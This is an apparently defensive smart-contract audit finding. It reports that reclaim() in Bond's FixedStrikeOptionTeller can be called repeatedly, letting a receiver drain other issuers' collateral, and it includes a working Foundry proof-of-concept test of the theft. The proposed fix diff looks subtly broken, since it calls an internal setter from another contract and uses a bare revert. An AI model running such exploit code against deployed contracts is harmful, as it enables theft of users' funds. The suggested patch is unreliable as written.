Juntao

high

# Malicious receiver can steal collateral from other issuers

## Summary

 Malicious `receiver` can steal collateral from other issuers by reclaiming `option token` mutiple times.

## Vulnerability Detail

Option token Issuer creates `option token` and provides payout tokens as collateral, then issuer gives `option token` to someone (could be investment, incentive, or other):

1. If option is in the money, holder exercises by paying (strike price * amount of option tokens) quote tokens. Holder receives the payout tokens that were collateral in exchange.
2. If option is out of the money, option expires without being exercised. Holder doesn't pay to exercise and receives nothing. Issuer can reclaim payout token collateral.

If it is the second case, [reclaim(â€¦)](https://github.com/sherlock-audit/2023-06-bond/blob/main/options/src/fixed-strike/FixedStrikeOptionTeller.sol#L395-L437) method will be called and collateral will be reclaimed:

```solidity
    function reclaim(FixedStrikeOptionToken optionToken_) external override nonReentrant {
        // Load option parameters
        (
            ERC20 payoutToken,
            ERC20 quoteToken,
            uint48 eligible,
            uint48 expiry,
            address receiver,
            bool call,
            uint256 strikePrice
        ) = optionToken_.getOptionParameters();


        // Retrieve the internally stored option token with this configuration
        // Reverts internally if token doesn't exist
        FixedStrikeOptionToken optionToken = getOptionToken(
            payoutToken,
            quoteToken,
            eligible,
            expiry,
            receiver,
            call,
            strikePrice
        );


        // Revert if token does not match stored token
        if (optionToken_ != optionToken) revert Teller_UnsupportedToken(address(optionToken_));


        // Revert if not expired
        if (uint48(block.timestamp) < expiry) revert Teller_NotExpired(expiry);


        // Revert if caller is not receiver
        if (msg.sender != receiver) revert Teller_NotAuthorized();


        // Transfer remaining collateral to receiver
        uint256 amount = optionToken.totalSupply();
        if (call) {
            payoutToken.safeTransfer(receiver, amount);
        } else {
            // Calculate amount of quote tokens equivalent to amount at strike price
            uint256 quoteAmount = amount.mulDiv(strikePrice, 10 ** payoutToken.decimals());
            quoteToken.safeTransfer(receiver, quoteAmount);
        }
    }
```
However, there is no limit on the how many times the option token can be used to reclaim, a malicious receiver can reclaim multiple times by leveraging an expired `option token` and steal the collaterals deposited by other issuers.

Let's assume:

1. Issuer1 deposits 100 `payout token` and mints 100 `option token` (**optionToken1**), `expiry` is 1 day and `receiver` is **receiver1**;
2. Issuer2 deposites 100 `payout token` and mints 100 `option token` (**optionToken2**), `expiry` is 2 days and `receiver` is **receiver2**;
3. After 1 day, `optionToken1` expires, **receiver1** calls `reclaim(...)` method and reclaims the 100 `payout token` deposited by issuer1;
4. **receiver1** calls `reclaim(...)` method again and steals the 100 `payout token` deposited by issuer2;
5. After 2 days, **receiver2** tries to call `recalim(...)` method but transaction reverted because there is no `payout token` left.

Please see below test codes:
```solidity
    function testAudit() public {
        address issuer1 = address(1);
        address receiver1 = address(11);
        address issuer2 = address(2);
        address receiver2 = address(22);

        abc.mint(issuer1, 1_000_000 * 1e18);
        abc.mint(issuer2, 1_000_000 * 1e18);

        uint256 strikePrice = 5 * 10 ** def.decimals();
        FixedStrikeOptionToken optionToken1 = teller.deploy(
            abc, // ERC20 payoutToken
            def, // ERC20 quoteToken
            uint48(0), // uint48 eligible (timestamp) - today
            uint48(block.timestamp + 1 days), // uint48 expiry (timestamp) - 20220109
            receiver1, // address receiver
            true, // bool call (true) or put (false)
            strikePrice // uint256 strikePrice
        );

        FixedStrikeOptionToken optionToken2 = teller.deploy(
            abc, // ERC20 payoutToken
            def, // ERC20 quoteToken
            uint48(0), // uint48 eligible (timestamp) - today
            uint48(block.timestamp + 2 days), // uint48 expiry (timestamp) - 20220109
            receiver2, // address receiver
            true, // bool call (true) or put (false)
            strikePrice // uint256 strikePrice
        );

        // Mint option tokens by depositing collateral (payout tokens)
        uint256 amount = 100 * 10 ** abc.decimals();

        vm.startPrank(issuer1);
        abc.approve(address(teller), type(uint256).max);
        teller.create(optionToken1, amount);
        vm.stopPrank();

        vm.startPrank(issuer2);
        abc.approve(address(teller), type(uint256).max);
        teller.create(optionToken2, amount);
        vm.stopPrank();

        // Warp forward past expiry
        vm.warp(block.timestamp + 1 days);

        uint256 receiver1PayoutStart = abc.balanceOf(receiver1);
        uint256 receiver2PayoutStart = abc.balanceOf(receiver2);
        uint256 tellerPayoutStart = abc.balanceOf(address(teller));

        vm.prank(receiver1);
        teller.reclaim(optionToken1);

        vm.prank(receiver1);
        teller.reclaim(optionToken1);

        uint256 receiver1Balance = abc.balanceOf(receiver1);
        assertEq(abc.balanceOf(receiver1), receiver1PayoutStart + amount * 2);

        vm.warp(block.timestamp + 1 days);
        vm.prank(receiver2);
        vm.expectRevert(bytes("TRANSFER_FAILED"));
        teller.reclaim(optionToken2);
    }
```

## Impact

Issuers' collateral is stolen.

## Code Snippet

https://github.com/sherlock-audit/2023-06-bond/blob/main/options/src/fixed-strike/FixedStrikeOptionTeller.sol#L395-L437

## Tool used

Manual Review

## Recommendation

Expired `option token` should only be reclaimed once.

1. add reclaiming state and setter method to `FixedStrikeOptionToken`:
```diff
+    bool public reclaimed;
+
+    function setReclaimed(bool _reclaimed) internal {
+        reclaimed = _reclaimed;
+    }
```

2. Check if `option token` have been reclaimed before reclaming and revert if so, set `option token` reclaimed after reclaiming:
```diff
    function reclaim(FixedStrikeOptionToken optionToken_) external override nonReentrant {
        ...
 
+       // Revert if token has been reclaimed
+       if (optionToken.reclaimed) revert;

        ...

+       // Set option token as reclaimed
+       optionToken.setReclaimed(true);
    }
```